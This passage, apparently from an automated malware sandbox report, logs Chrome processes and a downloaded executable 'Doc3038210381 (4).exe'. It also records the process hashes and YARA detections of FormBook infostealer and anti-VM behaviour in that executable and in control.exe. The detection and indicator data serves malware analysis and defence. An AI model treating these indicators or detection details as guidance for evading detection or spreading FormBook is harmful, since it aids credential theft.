Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:07:09

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3652 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:07:13

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
quarantine.mojom.Quarantine --field-trial-handle=1516,3288991115567119224,701040
9812870976589,131072 --lang=en-GB --service-sandbox-type=none --enable-audio-service-
sandbox --mojo-platform-channel-handle=5652 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 22:07:13

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Analysis Process: chrome.exe PID: 4504 Parent PID: 6392Analysis Process: chrome.exe PID: 4504 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 6980 Parent PID: 6392Analysis Process: chrome.exe PID: 6980 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 2440 Parent PID: 6392Analysis Process: chrome.exe PID: 2440 Parent PID: 6392

General
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Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=5884 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:07:13

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3968 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:07:17

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3704 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:07:17

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Analysis Process: chrome.exe PID: 6956 Parent PID: 6392Analysis Process: chrome.exe PID: 6956 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 1020 Parent PID: 6392Analysis Process: chrome.exe PID: 1020 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 5464 Parent PID: 6392Analysis Process: chrome.exe PID: 5464 Parent PID: 6392

General
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Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3820 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:07:33

Start date: 13/01/2022

Path: C:\Users\user\Downloads\Doc3038210381 (4).exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Downloads\Doc3038210381 (4).exe" 

Imagebase: 0xc0000

File size: 605184 bytes

MD5 hash: F98B720FA7B335C7E7B81C2F50E35FED

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000037.00000002.976848535.0000000002491000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000037.00000002.977043331.00000000024DA000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000037.00000002.977919600.0000000003499000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000037.00000002.977919600.0000000003499000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000037.00000002.977919600.0000000003499000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Start time: 22:07:35

Start date: 13/01/2022

Path: C:\Windows\SysWOW64\control.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\control.exe

Imagebase: 0x940000

File size: 114688 bytes

MD5 hash: 40FBA3FBFD5E33E0DE1BA45472FDA66F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: Doc3038210381 (4).exe PID: 5156 Parent PID: 6392Analysis Process: Doc3038210381 (4).exe PID: 5156 Parent PID: 6392

General

Analysis Process: control.exe PID: 2860 Parent PID: 3424Analysis Process: control.exe PID: 2860 Parent PID: 3424

General
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Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000038.00000002.1067590564.0000000002960000.00000040.00020000.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000038.00000002.1067590564.0000000002960000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000038.00000002.1067590564.0000000002960000.00000040.00020000.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000038.00000002.1066540925.00000000005A0000.00000040.00020000.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000038.00000002.1066540925.00000000005A0000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000038.00000002.1066540925.00000000005A0000.00000040.00020000.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000038.00000002.1067661415.0000000002990000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000038.00000002.1067661415.0000000002990000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000038.00000002.1067661415.0000000002990000.00000004.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
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